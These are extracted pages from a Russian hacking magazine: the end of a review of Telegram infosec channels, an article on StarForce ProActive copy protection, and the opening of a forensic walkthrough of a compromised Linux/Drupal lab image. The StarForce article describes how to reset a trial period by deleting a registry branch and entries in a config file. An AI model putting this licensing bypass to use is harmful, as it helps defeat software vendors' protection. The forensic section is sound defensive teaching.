Но­вый кон­тент на канале появ­ляет­ся, по всей видимос­ти, под нас­тро­ение его


соз­дателя, ауди­тория нас­читыва­ет 10К под­писчи­ков. Если ты инте­ресу­ешь­ся
безопас­ностью веб‑при­ложе­ний, да  и безопас­ностью вооб­ще, «Кавыч­ка»  —
это отличный источник информа­ции на дан­ную тему.

HACKER’S TOYS
Hacker’s Toys  — регуляр­но обновля­емая под­борка инс­тру­мен­тов, сер­висов
и ути­лит для пен­теста, взло­ма и OSINT. Каж­дая ссыл­ка снаб­жена крат­ким опи‐­
сани­ем. Иног­да встре­чают­ся и  доволь­но полез­ные тул­зы, одна­ко канал изо‐­
билу­ет раз­дра­жающей рек­ламой.

Hacker’s Toys

Кон­тент обновля­ется нес­коль­ко раз в месяц, ауди­тория — поч­ти 15К юзе­ров.


В  прин­ципе, хорошень­ко порыв­шись в  под­борке Hacker’s Toys, мож­но най­ти
мно­жес­тво полез­ных инс­тру­мен­тов, которые навер­няка ока­жут­ся очень кста­ти
для  за­мета­ния сле­дов обес­печения ано­ним­ности или  иссле­дова­ния уда­лен‐­
ной сетевой инфраструк­туры. Хотя неред­ко попада­ется и баналь­щина вро­де
ссы­лок на VirusTotal (ау, кто‑то еще не зна­ет, что это такое?) или какой‑нибудь
бра­узер Comodo Dragon, для которо­го, как мы зна­ем, сущес­тву­ет мно­жес­тво
аль­тер­натив. В  общем, сле­дить за  обновле­ниями впол­не име­ет смысл: вре‐­
мена­ми там попада­ется год­нота.

CODEBY PENTEST
Сайт канала Codeby Pentest, ссыл­ка на  который при­водит­ся в  его опи­сании,
заб­локиро­ван упол­номочен­ными орга­нами государс­твен­ной влас­ти, что мож‐
но счи­тать опре­делен­ным «зна­ком качес­тва». Канал нас­читыва­ет более  26К
под­писчи­ков и  пуб­лику­ет новос­ти, лин­ки на  полез­ные сер­висы, ана­лити­ку
и  про­чие статьи, пос­вящен­ные пен­тесту, защите дан­ных и  информа­цион­ной
безопас­ности. Встре­чает­ся и рек­лама, не без это­го.

Codeby Pentest

Сре­ди раз­меща­емых здесь матери­алов попада­ются под­робные ману­алы,


раз­бор кон­крет­ных кей­сов по  нас­трой­ке вир­туалок, ауди­ту, обзо­ры соф­та,
репор­тажи с митапов и про­чих мероп­риятий. Встре­чают­ся статьи как для про‐­
фи, так и  для нович­ков, поэто­му каж­дый най­дет здесь для  себя что‑нибудь
вкус­ное.

УТЕЧКИ ИНФОРМАЦИИ
Ин­тересу­ешь­ся утеч­ками информа­ции или  само­отвержен­но борешь­ся
с таковы­ми? Самые све­жие пуб­ликации о подоб­ных событи­ях мож­но отыс­кать
на канале с говоря­щим наз­вани­ем «Утеч­ки информа­ции»». 74,5К под­писчи­ков
и поч­ти ежед­невные новос­ти о рын­ке «про­бива», появ­лении в про­даже сли­тых
баз и, конеч­но же, поим­ке пер­сонажей, которые эти самые сли­вы орга­низу­ют.
Информа­ции о  том, где ска­чать эти самые базы, на  канале нет, но  и соз‐­
давал­ся он не для это­го.

Ка­нал «Утеч­ки информа­ции»

Ко­роче, если ты инте­ресу­ешь­ся пос­ледни­ми событи­ями в  мире кибер­кри‐­


мина­ла, хочешь быть в кур­се, что на этой неделе утек­ло в сеть, а глав­ное, где
оно в ито­ге всплы­ло, — тебе сюда. Канал весь­ма инте­ресен в качес­тве агре‐­
гато­ра новос­тей по ИБ‑темати­ке, оби­лием рек­ламы не отли­чает­ся, информа‐­
ция, хотя и пода­ется нес­коль­ко одно­образно, всег­да све­жая и аппе­тит­ная —
как охлажден­ная сель­дь из «Аша­на».

SECURITYLAB
Ка­нал пред­став­ляет собой анон­сы пуб­ликаций, раз­меща­емых на  сай­те
Securitylab.ru, который, как  извес­тно, соз­дан и  обновля­ется ком­пани­ей
Positive Technologies. Поэто­му новос­ти РТ мож­но читать как на этом сай­те, так
и пря­мо в телеге, что и дела­ют 30К под­писчи­ков канала.

SecurityLab

Ма­тери­алы здесь выходят раз­ные, и  далеко не  все нап­рямую отно­сят­ся


к  темати­ке защиты информа­ции, но  в целом озна­комить­ся с  пред­лага­емой
под­боркой впол­не полез­но для  рас­ширения кру­гозо­ра. Прав­да, посидев
на  канале с  неделю, ты с  удив­лени­ем обна­ружишь, что новос­тни­ки Positive
Technologies в  основном рерай­тят тек­сты из  дру­гих источни­ков, пос­коль­ку
мно­гое из анон­сиру­емо­го здесь ты уже где‑то читал. А что делать? Ресур­сов
на  тему инфо­беза мно­го, инфо­пово­дов  — мало. При­ходит­ся кру­тить­ся,
как  хомяку в  сти­раль­ной машине. В  общем, перед  нами  — типич­ный Yet
Another Infosec Channel, без какой‑то осо­бой магии. Пуб­ликации, кста­ти, мож‐­
но ком­менти­ровать.

IT И БЕЗОПАСНОСТЬ
Ка­нал «IT и безопас­ность» все же боль­ше про безопас­ность, чем про IT, этим
и  инте­ресен. Кон­тент канала  — анон­сы новос­тей, выложен­ных на  раз­личных
инфо­сек‑пло­щад­ках, ассорти­мент которых дос­таточ­но велик. Поэто­му бег­лый
прос­мотр пос­ледних пуб­ликаций ран­ним утром за  чашеч­кой пи­ва кофе поз‐­
волит быс­тро сос­тавить информа­цион­ную кар­тину событий, про­исхо­дящих
в мире ИБ. Рек­лама попада­ется, но ненавяз­чивая и нем­ного.

Ка­нал «IT и безопас­ность»

Ка­нал нас­читыва­ет более  32К под­писчи­ков, обновля­ется раз через сут­ки.


В целом он может стать неп­лохим источни­ком информа­ции обо всех событи‐­
ях в мире IT, если ты хочешь быть в кур­се про­исхо­дяще­го.

ITSEC NEWS
Еще один но­вос­тной канал о кибер­безопас­ности на 5К под­писчи­ков. Новос­ти
здесь пода­ются край­не лаконич­но: в фор­мате «заголо­вок — ссыл­ка». Весь­ма
цен­но для тех, кто не любит дол­гих пре­людий или при­вык лис­тать лен­ту телеги
с  телефо­на. Источни­ков пуб­ликаций на  канале фак­тичес­ки три: это  уже упо‐­
мяну­тый SecurityLab, Anti-Malware.ru и, конеч­но же, твой любимый жур­нал.
Если лень монито­рить три этих сай­та вруч­ную, мож­но исполь­зовать ITsec
NEWS в  качес­тве агре­гато­ра. Для  каких‑либо дру­гих целей он не  годит­ся,
по край­ней мере до тех пор, пока адми­ны не поборют лень и не нач­нут пар‐­
сить новос­ти из боль­шего количес­тва источни­ков.

HACKER NEWS
И еще один но­вос­тной канал, который хорошо нам известен, пос­коль­ку пос‐­
тит новос­ти с  «Хакера». Здесь они переме­жают­ся темати­чес­кими стать­ями
с  «Хаб­рахаб­ра», что тоже может быть полез­но. Допол­нитель­ное раз­вле‐­
чение — воз­можность пос­тавить новос­тям «класс» или пожало­вать­ся (то есть
пос­тавить минус). Быва­ет очень смеш­но наб­людать, как  читате­ли это­го
канала минусу­ют новос­ти, ког­да им не нра­вит­ся суть про­изо­шед­шего.

НЕКАСПЕРСКИЙ
Ка­нал NeKaspersky, как  сле­дует из  его опи­сания, рас­ска­зыва­ет об  «адек‐­
ватном вос­при­ятии того, что про­исхо­дит в мире IT и кибер­безопас­ности, вне
полити­чес­кого дис­курса». В  целом доволь­но любопыт­ное чти­во  — здесь я,
нап­ример, узнал, что некая пси­хиат­ричес­кая боль­ница в  Крас­нодаре раз‐­
мести­ла тен­дер на ока­зание услуг информа­цион­ной безопас­ности (вот пси­хи,
ты пос­мотри на них!), о том, что какие‑то жулики про­дают в сети базу дан­ных
нар­кологи­чес­кой кли­ники пря­мо с исто­риями болез­ней (инте­рес­но, кому оно
надо?), а еще о том, что Microsoft уни­жает Google Chrome (тем, что прод­вига‐­
ет Edge).
В общем, доволь­но инте­рес­ная пло­щад­ка с  новос­тями из  мира ИБ и  IT,
из тех, что при­ятно почитать перед сном.

АНТИВИРУСНОЕ ДНО
По­жалуй, «Ан­тивирус­ное дно»  — один из  самых забав­ных каналов в  нашей
сегод­няшней под­борке. Соз­данный быв­шими сот­рудни­ками АВ‑ком­паний, он
рас­ска­зыва­ет о  событи­ях, про­исхо­дящих в  анти­вирус­ной индус­трии, слу‐­
чающих­ся там про­исшес­тви­ях и одер­жанных фа­капах победах.

Мы лег­ли на дно, мы заж­гли огни…

Тут тебе и  новос­ти, и  все­воз­можные анти­вирус­ные инсай­ты, и  сплет­ни


из  офи­сов ИБ‑ком­паний, и  забав­ные мемаси­ки. В  общем, год­ный кон­тент,
что­бы отвлечь­ся, узнать, что нового у  кол­лег по  цеху, да  и прос­то пор­жать.
К сло­ву, этот канал единс­твен­ный в нашем сегод­няшнем обзо­ре име­ет собс‐­
твен­ный сти­кер­пак.

ВСЯКОЕ РАЗНОЕ
Во­обще, спи­сок популяр­ных каналов «Телег­рама», заяв­ленных как айтиш­ные,
мож­но най­ти вот здесь, но, чес­тно говоря, отыс­кать в  этом переч­не что‑то
дос­той­ное весь­ма неп­росто. Нап­ример, самый популяр­ный канал с 374К под‐­
писчи­ками под  наз­вани­ем «Экс­плойт» изо­билу­ет стать­ями с  заголов­ками
«Учим­ся гуг­лить», «Как добавить QR-код о вак­цинации в Wallet» и «Как ска­чать
файл на Android-телефо­не». При­мер­но такая же кар­тина с канала­ми «Бэк­дор»
(204К под­писчи­ков, «Как ска­чать кар­тинку с фотос­тока», «Как пос­тавить диз‐­
лайк на YouTube») и «Тро­янский конь» (94,5К под­писчи­ков, «Как управлять уве‐­
дом­лени­ями в  телефо­не?», «Как узнать сос­тояние элек­трон­ного пись­ма?»).
В  общем, нес­мотря на  гром­кие наз­вания, к  ИБ это  не име­ет ни  малей­шего
отно­шения.

Из инте­рес­ного на  этой стра­нице я отыс­кал раз­ве что канал под  наз­вани­ем
«Тем­ная сто­рона интерне­та»  — это  под­борка пуб­ликаций на  тему дар­кне­та,
при­ват­ности, уте­чек и социн­женерии, есть перево­ды зарубеж­ных пуб­ликаций.
Минус — встре­чает­ся рек­лама.
Вот еще нес­коль­ко инте­рес­ных тех­нокана­лов, не все из которых осве­щают
исклю­читель­но тему ИБ, что, впро­чем, не  дела­ет их менее инте­рес­ными
и полез­ными:
• Sys-Admin & InfoSec Channel — прик­ладной канал для сис­темных адми­нис‐­
тра­торов со вся­кими админ­ски­ми полез­ностя­ми.
• The Bug Bounty Hunter — отче­ты с Н1 и рай­тапы по акту­аль­ным багам.
• YAH — отче­ты о «хакер­ских» событи­ях, под­касты и интервью.
• Го­ризонт Событий — канал обо вся­ких необыч­ных вещах, которые мож­но
най­ти, если слиш­ком глу­боко рыть­ся в интерне­те.
• ∏ρ؃uñçτØρ Øπτµç∑  — зна­мени­тый «Про­фун­ктор», канал с  тре­шовы­ми
мемами для и про айтиш­ников.
• Не баг, а фича  — замет­ки о  IT вооб­ще, написан­ные прос­тым и  понят­ным
язы­ком, но иног­да попада­ются доволь­но любопыт­ные ссыл­ки на полез­ные
сер­висы и при­ложе­ния.
• wintermute  — автор это­го канала ищет кибер­панк в  реаль­ном мире
и находит его. В сред­нем пару‑трой­ку раз в месяц.
• Ки­бер­дянск  — раз уж загово­рили о  кибер­панке, нель­зя не  вспом­нить
об этих клас­сных комик­сах.
• Тех­нологии, медиа и  общес­тво  — жил‑был на  све­те Ан­тон Городец­кий
Андрей Бро­дец­кий, жур­налист и  пуб­лицист. Андрей пишет о  тех­нологи­ях
и о том, как они меня­ют мир, при­чем пишет неп­лохо. Рекомен­дуем!
• Denis Sexy IT — канал Дениса Ширя­ева об IT-тех­нологи­ях и (цитата) «обо
вся­кой фиг­не, которая мне кажет­ся инте­рес­ной». Фиг­ня там и  вправ­ду
встре­чает­ся, но инте­рес­ной фиг­ни, дей­стви­тель­но, гораз­до боль­ше. Есть
что почитать!
• Ра­диоруб­ка Лихачё­ва  — быв­ший глав­ред TJournal Никита Лихачёв пишет
о тех­нике, общес­тве и сов­ремен­ных медиа.
• Уже написа­ли  — еще  один автор­ский канал, в  основном о  само­управля‐­
емых машинах и про­чих роботах.
• Zhovner Hub  — лич­ный канал велико­го и  ужас­ного Пав­ла Жов­нера, CEO
Flipper Zero и изоб­ретате­ля «муль­титула‑тамаго­чи» для пен­тесте­ров.
• За­Теле­ком  — новос­ти телеко­ма, све­жая инфа о  пос­ледних бло­киров­ках,
фот­ки пос­ледних живых так­софонов.

Ну и конеч­но же, нель­зя не ска­зать о нашем канале Xakep.RU. Если ты еще на


него не  под­писан, самое вре­мя это  сде­лать. Здесь пуб­лику­ются анон­сы
наших новос­тей и  ста­тей, а  так­же информа­ция обо  всех мероп­риятиях,
в которых при­нима­ет учас­тие «Хакер». При­соеди­няй­ся!
ВЗЛОМ

ЗВЕЗДНАЯ
СИЛА
КАК УЯЗВИМОСТЬ
В STARFORCE
ПОЗВОЛЯЕТ
ОБНУЛЯТЬ ТРИАЛ

МВК

Дав­ным‑дав­но, в  одной далекой гала… Стоп, это  из дру­гой


исто­рии. А в нашей исто­рии защита StarForce оте­чес­твен­ных
раз­работ­чиков уже дав­но ста­ла леген­дарной. У  мно­гих
это  наз­вание ассо­циирует­ся со  счас­тли­вым детс­твом,
компь­ютер­ными игра­ми и  безус­пешны­ми попыт­ками ско‐­
пиро­вать защищен­ный ком­пакт‑диск. Но  StarForce жив и  по
сей день, успешно раз­вива­ется и осва­ивает новые горизон‐­
ты. Сегод­ня мы погово­рим о том, как эта защита устро­ена.

WARNING
Статья име­ет озна­коми­тель­ный харак­тер и пред‐­
назна­чена для  спе­циалис­тов по  безопас­ности,
про­водя­щих тес­тирова­ние в  рам­ках кон­трак­та.
Автор и  редак­ция не  несут ответс­твен­ности
за  любой вред, при­чинен­ный с  при­мене­нием
изло­жен­ной информа­ции. Рас­простра­нение вре‐­
донос­ных прог­рамм, наруше­ние работы сис­тем
и  наруше­ние тай­ны перепис­ки прес­леду­ются
по закону.

На­ши сов­ремен­ники вряд ли с  ходу ска­жут, где и  как сегод­ня при­меня­ется


защита StarForce. Тем не  менее сис­тема успешно пережи­ла все мировые
и оте­чес­твен­ные кри­зисы и не толь­ко не заб­росила свою нишу, но и осво­ила
сопутс­тву­ющие — при­вяз­ку прог­рам­мно­го обес­печения к компь­юте­ру заказ‐­
чика, защиту и  обфуска­цию исходно­го кода и  так далее. Но  в этой статье я
хочу погово­рить все же о  тра­дици­онной области деятель­нос­ти StarForce,
а  имен­но о  защите прог­рам­мно­го обес­печения от  копиро­вания и  несан­кци‐­
они­рован­ного рас­простра­нения. Решение, которое реали­зует эту фун­кцию,
называ­ется StarForce ProActive.
Се­год­ня мы вкрат­це раз­берем его осо­бен­ности, силь­ные и  сла­бые сто‐­
роны, а  в завер­шение по  тра­диции я рас­ска­жу о  прос­том, не  тре­бующем
серь­езных зна­ний и про­фес­сиональ­ных инс­тру­мен­тов спо­собе сбро­сить три‐­
ал в  про­дук­тах с  этим типом защиты. Наде­юсь, дже­даи из  StarForce при­мут
к  све­дению эту информа­цию, пофик­сят уяз­вимость и  при­дума­ют
еще что‑нибудь инте­рес­ное на радость иссле­дова­телям.
Итак, поп­робу­ем вжи­вую пощупать какую‑нибудь прог­рамму, защищен­ную
при помощи StarForce ProActive. Для начала убе­дим­ся, что перед нами имен‐­
но StarForce, а не что‑нибудь иное. Для это­го вос­поль­зуем­ся прос­тым и дос‐­
тупным инс­тру­мен­том под наз­вани­ем Detect It Easy.

Ок­но Detect It Easy при заг­рузке в него защищен­ной прог­раммы

Ес­ли ты почему‑то не  смог ска­чать акту­аль­ную вер­сию Detect It Easy (нап‐­
ример, злой про­вай­дер отру­бил тебе интернет), мож­но вос­поль­зовать­ся
и  дру­гими популяр­ными вьюве­рами EXE PE вро­де hiew, CFF Explorer и  им
подоб­ных. В  этом слу­чае приз­наком при­сутс­твия в  иссле­дуемом фай­ле
StarForce ProActive могут слу­жить спе­цифи­чес­кие сек­ции в  хидере запус‐­
каемо­го модуля (.ps4 или  .sforce3 в  более ста­рых вер­сиях защиты). Вдо‐­
бавок обыч­но рядом с защищен­ной прог­раммой лежит биб­лиоте­ка с име­нем
из  неп­роиз­носимо­го сочета­ния сим­волов или  с более прос­тым наиме­нова‐­
нием  — protect.dll. В  любом слу­чае в  ней будут при­сутс­тво­вать экспор‐­
тиру­емые фун­кции такого вида:

PSM_0

PSA_CheckFeaturesGrantedByLicense

PSA_DummyFunction

PSA_GetFeaturesGrantedByLicense

PSA_GetLicenseConfirmationTime

PSA_GetLicenseConfirmationTimeLimit

PSA_GetLicenseCreationDateTime

PSA_GetLicenseExecutionTimeLimit

PSA_GetLicenseExpirationDateTime

PSA_GetLicenseInformation

PSA_GetLicenseLifeTimeLimit

PSA_GetLicenseNumberOfRunsLimit

PSA_GetLicenseStartDateTime

PSA_GetLicenseStoragePath

PSA_GetNumberOfConnections

PSA_GetRemainingExecutionTime

По­мимо упо­мяну­той биб­лиоте­ки, раз­работ­чики любят класть в  рабочий


каталог прог­раммы стар­форсов­ский модуль акти­вации лицен­зии (обыч­но он
име­ет наз­вание pcnsl.exe). Этот модуль тоже содер­жит перечис­ленные
выше экспортные фун­кции и  снаб­жен милой икон­кой в  виде золото­го клю‐­
чика.

Ок­но кон­соли акти­вации лицен­зии

И биб­лиоте­ка, и акти­ватор по каким‑то непонят­ным сооб­ражени­ям упа­кова­ны


зна­мени­тым UPX, одна­ко не  спе­ши радос­тно их рас­паковы­вать. Ибо рас‐­
пакован­ная биб­лиоте­ка тут же перес­тает быть для  прог­раммы род­ной: как  и
у любой дру­гой «взрос­лой» защиты, тут име­ется кон­троль целос­тнос­ти.
Про­буем заг­рузить защищен­ное при­ложе­ние в  отладчик  — нап­ример,
в  наш любимый x64dbg  — и  убеж­даем­ся, что и  тут все сурово: StarForce
о нашем отладчи­ке зна­ет, о чем и сиг­нализи­рует в окош­ке сооб­щения.

По­пыт­ка запус­ка из‑под отладчи­ка

Обыч­но в  подоб­ных слу­чаях помога­ет спе­циаль­ный пла­гин к  x64dbg  —


ScillaHide. Но  на этот раз он бес­силен: хоть он и  спа­сает от  это­го окош­ка,
одна­ко отладчик с гро­хотом пада­ет, стол­кнув­шись с безум­ным кодом внут­ри
биб­лиоте­ки, при­чем даже не  дой­дя до  рас­паков­ки кода прог­раммы.
Любопыт­но, что x64dbg успешно под­клю­чает­ся к  активной задаче (если,
конеч­но, уста­новить соот­ветс­тву­ющий фла­жок в ScillaHide), при этом в памяти
про­цес­са мож­но най­ти фраг­менты рас­шифро­ван­ного кода, одна­ко прер­вать
выпол­нение нель­зя  — отладчик выда­ет ошиб­ку при­оста­нов­ки потока.
При  попыт­ке пос­тавить точ­ку оста­нова на  фраг­мент рас­шифро­ван­ного кода
или  фун­кцию из  внеш­ней биб­лиоте­ки при­ложе­ние завер­шает­ся. Дам­пить
активный про­цесс внеш­ним дам­пером или  «Сцил­лой» тоже без  тол­ку:
на выходе все рав­но получа­ется запако­ван­ный и зашиф­рован­ный модуль.
Что­бы силь­нее усложнить хакерам жизнь, соз­датели StarForce ProActive
при­гото­вили еще  одну при­ятную мелочь: окна сооб­щений защиты соз­дает
не  сама защища­емая прог­рамма, а  модуль акти­вации pcnsl.exe. Который
запус­кает­ся авто­мати­чес­ки при  стар­те при­ложе­ния и  все вре­мя обме­нива‐­
ется с  прог­раммой информа­цией. В  общем, может показать­ся, что куда
ни кинь — всю­ду клин, даже у Enigma лазе­ек было боль­ше.
Но, конеч­но, даже у  самой про­фес­сиональ­ной и  наворо­чен­ной защиты
име­ется свое сла­бое мес­то (ты, навер­ное, уже догадал­ся, о  чем я говорю,
если читал мои пре­дыду­щие статьи на ана­логич­ную тему). Я имею в виду три‐
аль­ный режим, в котором поль­зовате­лю не отда­ют прог­рамму навеч­но, а поз‐­
воля­ют с  ней поиг­рать какое‑то вре­мя или  опре­делен­ное количес­тво запус‐­
ков. Есть такой режим и  у StarForce. Сей­час мы поп­робу­ем разоб­рать­ся,
как его обой­ти без вся­ких отладчи­ков: с помощью сме­кал­ки, ма­гии и пароч­ки
прос­тых понят­ных инс­тру­мен­тов.
Как я уже говорил, глав­ная уяз­вимость это­го режима защиты зак­люча­ется
в том, что для его нор­маль­ной работы (точ­нее, наобо­рот — что­бы прог­рамма
перес­тавала работать пос­ле завер­шения демонс­тра­ции) защита дол­жна
оста­вить какую‑то неуда­ляемую или  хотя  бы очень незамет­ную мет­ку
на компь­юте­ре поль­зовате­ля. А мест для хра­нения подоб­ных меток в Windows
не так уж мно­го, по сути все­го два — это реестр и фай­ловая сис­тема.
Пом­ня о леген­дарнос­ти StarForce и о том, что сис­тему раз­рабаты­вали нас‐­
тоящие кру­тые дже­даи, впол­не мож­но ждать от нее какого‑нибудь фир­менно‐­
го зап­рещен­ного дже­дай­ско­го при­ема, вро­де хра­нения мет­ки где‑то в  слу‐­
жеб­ных сек­торах дис­ка или в недоку­мен­тирован­ных ячей­ках энер­гонеза­виси‐­
мой памяти кон­трол­лера. Но  если это  не так, то все (или поч­ти все), что
записы­вает­ся в фай­ловую сис­тему или реестр, может быть задоку­мен­тирова‐­
но и вытаще­но на белый свет при помощи замеча­тель­ной прог­раммы Process
Monitor, которая не раз уж помога­ла нам в решении подоб­ных задач.
Итак, запус­каем ProcMon, ста­вим филь­тр на имя про­цес­са основной прог‐­
раммы (а заод­но и  на модуль pcnsl.exe, с  которым у  защищен­ной прог‐­
раммы, как  мы уже успе­ли понять, доволь­но тес­ное вза­имо­дей­ствие). Пер‐­
вое, на  что обра­щаешь вни­мание,  — это  целый куст реес­тра, отве­ден­ный
под при­ложе­ние с информа­цией о лицен­зии.

При­мер­ный вид вет­ки реес­тра защищен­ной прог­раммы при прос­мотре


в редак­торе реес­тра RegEdit

Как видишь, в  отли­чие от  Enigma и  Obsidium, у  StarForce нет спе­циали­зиро‐­


ван­ных раз­делов реес­тра. Леген­ды гла­сят, что в ста­рых вер­сиях защиты они
сущес­тво­вали и называ­лись HKCU/SOFTWARE/StarForce или, чуть более ори‐­
гиналь­но, HKCU/SOFTWARE/SF. Но в целях кон­спи­рации их перемес­тили в пап‐­
ку прог­раммы, что ничуть не помеша­ло нам их най­ти без осо­бого тру­да.
Уда­ляем эту вет­ку, и  вро­де  бы поч­ти получи­лось  — при  запус­ке прог‐­
рамма, как  и в  самый пер­вый раз, выда­ет окно о  начале акти­вации три­ала.
Одна­ко при­вяз­ка тут дву­хуров­невая: при  нажатии кноп­ки «Акти­виро­вать»
выда­ется новое окош­ко, судя по  которо­му прог­рамма все‑таки отку­да‑то
узна­ла, что три­аль­ный пери­од уже закон­чился.

Ой, не работа­ет! Окно три­аль­ного пре­дуп­режде­ния пос­ле уда­ления вет­‐


ки реес­тра

Приш­лось доволь­но дол­го попых­теть, ана­лизи­руя прос­тыню лога, пока я


не обна­ружил весь­ма стран­ное обра­щение прог­раммы к кон­фигура­цион­ному
фай­лу в одной из папок поль­зовате­ля (мы умыш­ленно не при­водим его наз‐­
вание и  мес­тополо­жение). С  чего  бы обыч­ному при­ложе­нию в  него лезть?
Подоз­ритель­но! Откры­ваем дан­ный файл  — и  в нем мы видим при­мер­но
такие стро­ки:

[{436E44ED-269F-DA68-CA05-3EF38F4E7BBD}]

Class={B550918B-6C02-BB96-5111-C81A7F525081}

GIUD в  пер­вой из  них точ­но такой же, как  и имя под­папки Keys, най­ден­ной
нами в  реес­тре. Акку­рат­но уда­ляем эти две стро­ки из  фай­ла, уда­ляем вет­ку
реес­тра и  при переза­пус­ке прог­раммы получа­ем све­жень­кий чис­тый три­ал
без осо­бых хло­пот с отладчи­ком.
В общем, мы еще  раз убе­дились в  том, что сис­тема StarForce вов­се
не  канула в  Лету, а  про­дол­жает раз­вивать и  совер­шенс­тво­вать собс­твен­ные
тех­нологии. Но, конеч­но, иде­аль­ных методов защиты не  сущес­тву­ет, и  пыт‐­
ливый ум при  дос­таточ­ной усид­чивос­ти и  мотива­ции всег­да най­дет быс­трый
путь пре­одо­леть прег­рады любой слож­ности. Наде­юсь, раз­работ­чики
подума­ют о  том, как  уси­лить соз­дава­емую ими защиту, а  читате­лям я хочу
напом­нить, что этот рас­сказ был написан исклю­читель­но в  ака­деми­чес­ких
целях и  нарушать штат­ную работу ком­мерчес­ких при­ложе­ний  — незакон­но.
Береги­те себя, и да пре­будет с вами сила!
ВЗЛОМ

УРОКИ
ФОРЕНЗИКИ
РАССЛЕДУЕМ ВЗЛОМ ВЕБ-СЕРВЕРА
С LINUX, APACHE И DRUPAL

В этой статье я покажу ход рас­сле­дова­ния


киберин­циден­та на при­мере лабора­тор­ной
работы Hacked с  ресур­са CyberDefenders.
Мы научим­ся извле­кать арте­фак­ты из обра‐­
за дис­ка сис­темы Linux, ана­лизи­ровать их rayhunt454
grigadan454@gmail.com
и  по этим дан­ным выяс­ним, как  зло­умыш‐­
ленник ском­про­мети­ровал сис­тему.

По сце­нарию зло­умыш­ленни­ки взло­мали веб‑сер­вер и  зав­ладели пол­ным


кон­тро­лем над  ним. Спе­циалис­ты по  реаги­рова­нию на  инци­ден­ты получи­ли
побито­вую копию сис­темно­го дис­ка ском­про­мети­рован­ной машины на  базе
опе­раци­онной сис­темы Linux. Заг­рузим файл об­раза и  нач­нем его иссле‐­
довать.
Раз­делим наше рас­сле­дова­ние на три эта­па:
1. Ана­лиз кон­фигура­цион­ных фай­лов опе­раци­онной сис­темы Linux.
2. По­иск точ­ки вхо­да зло­умыш­ленни­ков в сис­тему.
3. По­иск методов пос­тэкс­плу­ата­ции в сис­теме.

Ис­поль­зуемые ути­литы:
1. FTK Imager — инс­тру­мент для ана­лиза и получе­ния обра­зов дис­ка.
2. R-Studio — ути­лита для вос­ста­нов­ления дан­ных с дис­ка.
3. Plaso  — ути­лита на  Python, пред­назна­чен­ная для  генера­ции вре­мени
событий опе­раци­онной сис­темы. Под­робнее о  ней читай в  статье «Тай‐­
млайн все­го. Исполь­зуем Plaso для сбо­ра сис­темных событий».

МОНТИРУЕМ ОБРАЗ ДИСКА


Преж­де чем начать извле­кать дан­ные из  обра­за дис­ка, давай раз­берем­ся,
с каким обра­зом мы име­ем дело и как его пра­виль­но ана­лизи­ровать. Для это‐­
го вос­поль­зуем­ся ути­литой file, вхо­дящей в Linux.

file Webserver.E01

Фор­мат обра­за дис­ка

Файл обра­за дис­ка Webserver.E01 записан в фор­мате Expert Witness Format


(EWF) и содер­жит побито­вую копию дан­ных. Скон­верти­ровать его в циф­ровую
копию дис­ка мож­но с помощью ути­литы EnCase.
По­лучен­ный образ дис­ка можешь при­мон­тировать в  Linux  — для  это­го
ставь ути­литы lvm2, ewf-tools, sleuthkit, kpartx и вос­поль­зуйся ма­нуалом.
Но  я покажу дру­гой вари­ант. При­мон­тиру­ем иссле­дуемый диск в  Windows
и извле­чем из него необ­ходимые арте­фак­ты для рас­сле­дова­ния инци­ден­та.
От­кро­ем ути­литу FTK Imager и  при­мон­тиру­ем образ дис­ка. Для  это­го
перехо­дим на  вклад­ку File → Image Mounting. В  поле Image File выбира­ем
образ Webserver.e01 и вво­дим нас­трой­ки, ука­зан­ные ниже.

Нас­трой­ки для мон­тирова­ния обра­за

На­жима­ем Mount, и  иссле­дуемый образ дол­жен при­мон­тировать­ся. Мы уви‐­


дим сле­дующую информа­цию.

Вы­вод резуль­татов мон­тирова­ния обра­за

Те­перь откры­ваем R-Studio и видим при­мон­тирован­ные вир­туаль­ные дис­ки.

Спи­сок при­мон­тирован­ных вир­туаль­ных дис­ков

Нас инте­ресу­ет диск Virtual Storage 1.00 → F, так как  его ФС  — ext4. Далее
выбира­ем диск F и  нажима­ем «Ска­ниро­вать». Ути­лита R-Studio нач­нет ска‐­
ниро­вать адресное прос­транс­тво дис­ка и  искать в  нем все фай­лы, в том
чис­ле уда­лен­ные. Пос­ле завер­шения ска­ниро­вания перехо­дим в  диск F
в интерфей­се R-Studio и получим все катало­ги и фай­лы фай­ловой сис­темы.

За­вер­шение ска­ниро­вания дис­ка

Струк­тура фай­ловой сис­темы вир­туаль­ного дис­ка F

ИЗУЧАЕМ КОНФИГИ ОС
По­лучим информа­цию о  сис­теме, что­бы понимать, какие сер­висы уста­нов‐­
лены, с  какой опе­раци­онной сис­темой работа­ем и  какие поль­зовате­ли
сущес­тву­ют. Эта информа­ция рас­положе­на в  катало­ге /etc фай­ловой сис‐­
темы Linux. Информа­цию об  име­ни компь­юте­ра ты най­дешь в  фай­ле /etc/
hostname (в нашем слу­чае это  VulnOSv2). В фай­ле /etc/os-release содер‐­
жится информа­ция об опе­раци­онной сис­теме (Ubuntu вер­сии 14.04.4 LTS).

Ин­форма­ция о ском­про­мети­рован­ной опе­раци­онной сис­теме

В фай­ле /etc/networks/interfaces хра­нит­ся сетевой адрес, но  в нашем


слу­чае для  получе­ния IP-адре­са в  сети орга­низа­ции исполь­зует­ся про­токол
DHCP. В катало­ге /etc я обна­ружил сле­дующее уста­нов­ленное ПО: Drupal 7,
веб‑сер­вер Apache 2, СУБД MySQL и  PostgreSQL, а  так­же поч­товый сер­вис
Postfix.
Про­ана­лизи­руем информа­цию о  поль­зовате­лях. Нас инте­ресу­ют фай­лы
/etc/passwd и /etc/shadow.

Со­дер­жимое фай­ла /etc/passwd

/etc/passwd содер­жит информа­цию о  поль­зовате­лях сис­темы: имя поль‐­


зовате­ля, иден­тифика­торы поль­зовате­ля и  груп­пы, ком­мента­рий, опи­сыва‐­
ющий акка­унт, путь к  домаш­нему катало­гу и  прог­рамма, которая каж­дый раз
запус­кает­ся при вхо­де поль­зовате­ля в сис­тему. Нас инте­ресу­ют поль­зовате‐­
ли, которые могут запус­кать коман­дную обо­лоч­ку /bin/bash при вхо­де в сис‐­
тему. Таких поль­зовате­лей пять: root, mail, php, vulnosadmin и postgres.
В фай­ле /etc/shadow хра­нят­ся хеширо­ван­ные пароли поль­зовате­лей.
Дос­туп к это­му фай­лу име­ет толь­ко при­виле­гиро­ван­ный акка­унт.

Со­дер­жимое фай­ла /etc/shadow

Фор­мат хеша поль­зователь­ско­го пароля:

$id$salt$hashed

